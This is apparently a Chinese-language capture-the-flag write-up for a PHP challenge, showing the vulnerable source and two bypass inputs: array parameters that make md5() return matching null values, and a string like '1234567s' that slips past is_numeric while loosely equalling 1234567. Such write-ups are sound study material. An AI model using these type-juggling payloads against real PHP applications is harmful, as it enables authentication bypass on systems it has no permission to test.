知识点

  • MD5弱类型
  • is_numeric函数缺陷

启动靶机

访问题目,得到源码

  1. I put something in F12 for you
  2. include 'flag.php';
  3. $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
  4. if(isset($_GET['gg'])&&isset($_GET['id'])) {
  5. $id=$_GET['id'];
  6. $gg=$_GET['gg'];
  7. if (md5($id) === md5($gg) && $id !== $gg) {
  8. echo 'You got the first step';
  9. if(isset($_POST['passwd'])) {
  10. $passwd=$_POST['passwd'];
  11. if (!is_numeric($passwd))
  12. {
  13. if($passwd==1234567)
  14. {
  15. echo 'Good Job!';
  16. highlight_file('flag.php');
  17. die('By Retr_0');
  18. }
  19. else
  20. {
  21. echo "can you think twice??";
  22. }
  23. }
  24. else{
  25. echo 'You can not get it !';
  26. }
  27. }
  28. else{
  29. die('only one way to get the flag');
  30. }
  31. }
  32. else {
  33. echo "You are not a real hacker!";
  34. }
  35. }
  36. else{
  37. die('Please input first');
  38. }
  39. }Please input first

第一个绕过:

  1. if (md5($id) === md5($gg) && $id !== $gg)

绕过方法:

  1. ?id[]=a&gg[]=b

第二个绕过:

  1. if (!is_numeric($passwd))

绕过方法:

  1. passwd=1234567s

得到flag:
image.png